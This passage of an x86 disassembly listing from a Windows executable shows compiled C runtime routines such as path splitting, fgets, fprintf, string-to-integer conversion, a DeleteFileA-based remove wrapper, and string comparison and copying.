-8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_41BC70 add esp, 4 cmp eax, 1 jb short loc_41ED8B mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_41ED8B cmp [ebp+arg_4], 0 jz short loc_41ED80 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_4298C0 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_41ED80: ; CODE XREF: sub_41ED30+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_41ED97 ; --------------------------------------------------------------------------- loc_41ED8B: ; CODE XREF: sub_41ED30+23j ; sub_41ED30+2Fj cmp [ebp+arg_4], 0 jz short loc_41ED97 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_41ED97: ; CODE XREF: sub_41ED30+59j ; sub_41ED30+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_41EDAF ; --------------------------------------------------------------------------- loc_41EDA6: ; CODE XREF: sub_41ED30:loc_41EE0Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41EDAF: ; CODE XREF: sub_41ED30+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41EE0E mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, ds:byte_4F38E1[ecx] and edx, 4 test edx, edx jz short loc_41EDDA mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41EE0C ; --------------------------------------------------------------------------- loc_41EDDA: ; CODE XREF: sub_41ED30+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_41EDF0 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_41EDFB loc_41EDF0: ; CODE XREF: sub_41ED30+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_41EE0C ; --------------------------------------------------------------------------- loc_41EDFB: ; CODE XREF: sub_41ED30+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_41EE0C mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_41EE0C: ; CODE XREF: sub_41ED30+A8j ; sub_41ED30+C9j ... jmp short loc_41EDA6 ; --------------------------------------------------------------------------- loc_41EE0E: ; CODE XREF: sub_41ED30+87j cmp [ebp+var_C], 0 jz short loc_41EE64 cmp [ebp+arg_8], 0 jz short loc_41EE5C mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41EE32 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_41EE39 ; --------------------------------------------------------------------------- loc_41EE32: ; CODE XREF: sub_41ED30+F5j mov [ebp+var_14], 0FFh loc_41EE39: ; CODE XREF: sub_41ED30+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_4298C0 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41EE5C: ; CODE XREF: sub_41ED30+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_41EE70 ; --------------------------------------------------------------------------- loc_41EE64: ; CODE XREF: sub_41ED30+E2j cmp [ebp+arg_8], 0 jz short loc_41EE70 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_41EE70: ; CODE XREF: sub_41ED30+132j ; sub_41ED30+138j cmp [ebp+var_8], 0 jz loc_41EF1A mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_41EF1A cmp [ebp+arg_C], 0 jz short loc_41EECF mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_41EEA5 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_41EEAC ; --------------------------------------------------------------------------- loc_41EEA5: ; CODE XREF: sub_41ED30+168j mov [ebp+var_18], 0FFh loc_41EEAC: ; CODE XREF: sub_41ED30+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_4298C0 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_41EECF: ; CODE XREF: sub_41ED30+15Aj cmp [ebp+arg_10], 0 jz short loc_41EF18 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_41EEEE mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_41EEF5 ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41ED30+1B1j mov [ebp+var_1C], 0FFh loc_41EEF5: ; CODE XREF: sub_41ED30+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_4298C0 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_41EF18: ; CODE XREF: sub_41ED30+1A3j jmp short loc_41EF6E ; --------------------------------------------------------------------------- loc_41EF1A: ; CODE XREF: sub_41ED30+144j ; sub_41ED30+150j cmp [ebp+arg_C], 0 jz short loc_41EF62 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_41EF38 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF38: ; CODE XREF: sub_41ED30+1FBj mov [ebp+var_20], 0FFh loc_41EF3F: ; CODE XREF: sub_41ED30+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_4298C0 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_41EF62: ; CODE XREF: sub_41ED30+1EEj cmp [ebp+arg_10], 0 jz short loc_41EF6E mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_41EF6E: ; CODE XREF: sub_41ED30:loc_41EF18j ; sub_41ED30+236j mov esp, ebp pop ebp retn sub_41ED30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EF80 proc near ; CODE XREF: sub_401B0B+8p ; sub_401C87+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41EFA0 loc_41EF8C: ; CODE XREF: sub_41EF80+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41EF8C loc_41EFA0: ; CODE XREF: sub_41EF80+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41EF80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EFB0 proc near ; CODE XREF: sub_401C87+75EFp ; sub_401C87+761Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_41EFC5: ; CODE XREF: sub_41EFB0+3Dj cmp [ebp+arg_0], 0 jnz short loc_41EFE9 push offset aStringNull ; "string != NULL" push 0 push 3Bh push offset aFgets_c ; "fgets.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41EFE9 int 3 ; Trap to Debugger loc_41EFE9: ; CODE XREF: sub_41EFB0+19j ; sub_41EFB0+36j xor edx, edx test edx, edx jnz short loc_41EFC5 loc_41EFEF: ; CODE XREF: sub_41EFB0+67j cmp [ebp+arg_8], 0 jnz short loc_41F013 push offset dword_43C514 push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41F013 int 3 ; Trap to Debugger loc_41F013: ; CODE XREF: sub_41EFB0+43j ; sub_41EFB0+60j xor eax, eax test eax, eax jnz short loc_41EFEF cmp [ebp+arg_4], 0 jg short loc_41F026 xor eax, eax jmp loc_41F0E7 ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EFB0+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_422420 add esp, 4 loc_41F038: ; CODE XREF: sub_41EFB0:loc_41F0CDj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_41F0D2 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_41F083 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_41F092 ; --------------------------------------------------------------------------- loc_41F083: ; CODE XREF: sub_41EFB0+B1j mov edx, [ebp+var_4] push edx call sub_427100 add esp, 4 mov [ebp+var_14], eax loc_41F092: ; CODE XREF: sub_41EFB0+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_41F0B1 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_41F0AF mov [ebp+var_10], 0 jmp short loc_41F0D8 ; --------------------------------------------------------------------------- loc_41F0AF: ; CODE XREF: sub_41EFB0+F4j jmp short loc_41F0D2 ; --------------------------------------------------------------------------- loc_41F0B1: ; CODE XREF: sub_41EFB0+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_41F0CD jmp short loc_41F0D2 ; --------------------------------------------------------------------------- loc_41F0CD: ; CODE XREF: sub_41EFB0+119j jmp loc_41F038 ; --------------------------------------------------------------------------- loc_41F0D2: ; CODE XREF: sub_41EFB0+95j ; sub_41EFB0:loc_41F0AFj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_41F0D8: ; CODE XREF: sub_41EFB0+FDj mov ecx, [ebp+var_4] push ecx call sub_422490 add esp, 4 mov eax, [ebp+var_10] loc_41F0E7: ; CODE XREF: sub_41EFB0+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F0F0 proc near ; CODE XREF: sub_426C90+1C3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41F110 add esp, 10h pop ebp retn sub_41F0F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F110 proc near ; CODE XREF: sub_41F0F0+11p ; sub_41F450+11p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41F134: ; CODE XREF: sub_41F110+77j cmp ds:dword_453DF0, 1 jle short loc_41F156 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_427040 add esp, 8 mov [ebp+var_18], eax jmp short loc_41F170 ; --------------------------------------------------------------------------- loc_41F156: ; CODE XREF: sub_41F110+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_41F170: ; CODE XREF: sub_41F110+44j cmp [ebp+var_18], 0 jz short loc_41F189 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41F134 ; --------------------------------------------------------------------------- loc_41F189: ; CODE XREF: sub_41F110+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_41F1AD mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41F1C7 ; --------------------------------------------------------------------------- loc_41F1AD: ; CODE XREF: sub_41F110+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_41F1C7 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41F1C7: ; CODE XREF: sub_41F110+9Bj ; sub_41F110+A4j cmp [ebp+arg_8], 0 jl short loc_41F1D9 cmp [ebp+arg_8], 1 jz short loc_41F1D9 cmp [ebp+arg_8], 24h jle short loc_41F1EE loc_41F1D9: ; CODE XREF: sub_41F110+BBj ; sub_41F110+C1j cmp [ebp+arg_4], 0 jz short loc_41F1E7 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_41F1E7: ; CODE XREF: sub_41F110+CDj xor eax, eax jmp loc_41F43D ; --------------------------------------------------------------------------- loc_41F1EE: ; CODE XREF: sub_41F110+C7j cmp [ebp+arg_8], 0 jnz short loc_41F22C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_41F206 mov [ebp+arg_8], 0Ah jmp short loc_41F22C ; --------------------------------------------------------------------------- loc_41F206: ; CODE XREF: sub_41F110+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_41F21C mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_41F225 loc_41F21C: ; CODE XREF: sub_41F110+FFj mov [ebp+arg_8], 10h jmp short loc_41F22C ; --------------------------------------------------------------------------- loc_41F225: ; CODE XREF: sub_41F110+10Aj mov [ebp+arg_8], 8 loc_41F22C: ; CODE XREF: sub_41F110+E2j ; sub_41F110+F4j ... cmp [ebp+arg_8], 10h jnz short loc_41F26B movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_41F26B mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_41F251 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_41F26B loc_41F251: ; CODE XREF: sub_41F110+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41F26B: ; CODE XREF: sub_41F110+120j ; sub_41F110+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_41F276: ; CODE XREF: sub_41F110+26Bj cmp ds:dword_453DF0, 1 jle short loc_41F297 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_427040 add esp, 8 mov [ebp+var_1C], eax jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F297: ; CODE XREF: sub_41F110+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_41F2B2: ; CODE XREF: sub_41F110+185j cmp [ebp+var_1C], 0 jz short loc_41F2C4 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_41F323 ; --------------------------------------------------------------------------- loc_41F2C4: ; CODE XREF: sub_41F110+1A6j cmp ds:dword_453DF0, 1 jle short loc_41F2E9 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_427040 add esp, 8 mov [ebp+var_20], eax jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F2E9: ; CODE XREF: sub_41F110+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_41F306: ; CODE XREF: sub_41F110+1D7j cmp [ebp+var_20], 0 jz short loc_41F321 movsx eax, byte ptr [ebp+var_8] push eax call sub_429AC0 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_41F323 ; --------------------------------------------------------------------------- loc_41F321: ; CODE XREF: sub_41F110+1FAj jmp short loc_41F380 ; --------------------------------------------------------------------------- loc_41F323: ; CODE XREF: sub_41F110+1B2j ; sub_41F110+20Fj mov ecx, [ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_41F32D jmp short loc_41F380 ; --------------------------------------------------------------------------- loc_41F32D: ; CODE XREF: sub_41F110+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_41F353 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_41F362 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_41F362 loc_41F353: ; CODE XREF: sub_41F110+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_41F36A ; --------------------------------------------------------------------------- loc_41F362: ; CODE XREF: sub_41F110+234j ; sub_41F110+241j mov eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_41F36A: ; CODE XREF: sub_41F110+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_41F276 ; --------------------------------------------------------------------------- loc_41F380: ; CODE XREF: sub_41F110:loc_41F321j ; sub_41F110+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_41F3A8 cmp [ebp+arg_4], 0 jz short loc_41F39F mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41F39F: ; CODE XREF: sub_41F110+287j mov [ebp+var_C], 0 jmp short loc_41F41A ; --------------------------------------------------------------------------- loc_41F3A8: ; CODE XREF: sub_41F110+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_41F3E2 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_41F41A mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41F3CF cmp [ebp+var_C], 80000000h ja short loc_41F3E2 loc_41F3CF: ; CODE XREF: sub_41F110+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_41F41A cmp [ebp+var_C], 7FFFFFFFh jbe short loc_41F41A loc_41F3E2: ; CODE XREF: sub_41F110+2A0j ; sub_41F110+2BDj call sub_429A90 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_41F400 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_41F41A ; --------------------------------------------------------------------------- loc_41F400: ; CODE XREF: sub_41F110+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41F413 mov [ebp+var_C], 80000000h jmp short loc_41F41A ; --------------------------------------------------------------------------- loc_41F413: ; CODE XREF: sub_41F110+2F8j mov [ebp+var_C], 7FFFFFFFh loc_41F41A: ; CODE XREF: sub_41F110+296j ; sub_41F110+2AAj ... cmp [ebp+arg_4], 0 jz short loc_41F428 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_41F428: ; CODE XREF: sub_41F110+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41F43A mov ecx, [ebp+var_C] neg ecx mov [ebp+var_C], ecx loc_41F43A: ; CODE XREF: sub_41F110+320j mov eax, [ebp+var_C] loc_41F43D: ; CODE XREF: sub_41F110+D9j mov esp, ebp pop ebp retn sub_41F110 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F450 proc near ; CODE XREF: sub_401C87+627Fp ; sub_401C87+6AA8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41F110 add esp, 10h pop ebp retn sub_41F450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F470 proc near ; CODE XREF: sub_401C87+5A23p ; _0:0041F4C7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4F5354 ; DeleteFileA test eax, eax jnz short loc_41F48D call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_41F494 ; --------------------------------------------------------------------------- loc_41F48D: ; CODE XREF: sub_41F470+10j mov [ebp+var_4], 0 loc_41F494: ; CODE XREF: sub_41F470+1Bj cmp [ebp+var_4], 0 jz short loc_41F4AB mov ecx, [ebp+var_4] push ecx call sub_4299F0 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41F4AD ; --------------------------------------------------------------------------- loc_41F4AB: ; CODE XREF: sub_41F470+28j xor eax, eax loc_41F4AD: ; CODE XREF: sub_41F470+39j mov esp, ebp pop ebp retn sub_41F470 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_41F470 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4E0 proc near ; CODE XREF: sub_401C87+598Fp ; sub_4124E6+8Cp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_41F4EF: ; CODE XREF: sub_41F4E0+37j cmp [ebp+arg_0], 0 jnz short loc_41F513 push offset dword_43C514 push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41F513 int 3 ; Trap to Debugger loc_41F513: ; CODE XREF: sub_41F4E0+13j ; sub_41F4E0+30j xor ecx, ecx test ecx, ecx jnz short loc_41F4EF loc_41F519: ; CODE XREF: sub_41F4E0+61j cmp [ebp+arg_4], 0 jnz short loc_41F53D push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41F53D int 3 ; Trap to Debugger loc_41F53D: ; CODE XREF: sub_41F4E0+3Dj ; sub_41F4E0+5Aj xor edx, edx test edx, edx jnz short loc_41F519 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_422420 add esp, 4 mov edx, [ebp+var_4] push edx call sub_429C90 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_427F60 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_429DF0 add esp, 8 mov edx, [ebp+var_4] push edx call sub_422490 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F4E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5B0 proc near ; CODE XREF: sub_401C87+1E2Ep ; sub_401C87+1E4Dp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41F5D1 xor eax, eax jmp short loc_41F5D3 ; --------------------------------------------------------------------------- loc_41F5D1: ; CODE XREF: sub_41F5B0+1Bj mov eax, edi loc_41F5D3: ; CODE XREF: sub_41F5B0+1Fj cld pop edi leave retn sub_41F5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5E0 proc near ; CODE XREF: sub_401C87+825p ; sub_426C90+BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41F611 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41F60F jz short loc_41F611 dec ecx dec ecx loc_41F60F: ; CODE XREF: sub_41F5E0+29j not ecx loc_41F611: ; CODE XREF: sub_41F5E0+9j ; sub_41F5E0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41F5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F620 proc near ; CODE XREF: sub_401C87+418p ; sub_401C87+3012p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41F691 sub_41F620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F630 proc near ; CODE XREF: sub_401C87+421p ; sub_401C87+767Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41F64C loc_41F63D: ; CODE XREF: sub_41F630+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41F67F test ecx, 3 jnz short loc_41F63D loc_41F64C: ; CODE XREF: sub_41F630+Bj ; sub_41F630+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41F64C mov eax, [ecx-4] test al, al jz short loc_41F68E test ah, ah jz short loc_41F689 test eax, 0FF0000h jz short loc_41F684 test eax, 0FF000000h jz short loc_41F67F jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F67F: ; CODE XREF: sub_41F630+12j ; sub_41F630+4Bj lea edi, [ecx-1] jmp short loc_41F691 ; --------------------------------------------------------------------------- loc_41F684: ; CODE XREF: sub_41F630+44j lea edi, [ecx-2] jmp short loc_41F691 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F630+3Dj lea edi, [ecx-3] jmp short loc_41F691 ; --------------------------------------------------------------------------- loc_41F68E: ; CODE XREF: sub_41F630+39j lea edi, [ecx-4] loc_41F691: ; CODE XREF: sub_41F620+5j ; sub_41F630+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41F6B6 loc_41F69D: ; CODE XREF: sub_41F630+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41F708 mov [edi], dl inc edi test ecx, 3 jnz short loc_41F69D jmp short loc_41F6B6 ; --------------------------------------------------------------------------- loc_41F6B1: ; CODE XREF: sub_41F630+9Ej ; sub_41F630+B8j mov [edi], edx add edi, 4 loc_41F6B6: ; CODE XREF: sub_41F630+6Bj ; sub_41F630+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41F6B1 test dl, dl jz short loc_41F708 test dh, dh jz short loc_41F6FF test edx, 0FF0000h jz short loc_41F6F2 test edx, 0FF000000h jz short loc_41F6EA jmp short loc_41F6B1 ; --------------------------------------------------------------------------- loc_41F6EA: ; CODE XREF: sub_41F630+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41F6F2: ; CODE XREF: sub_41F630+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41F6FF: ; CODE XREF: 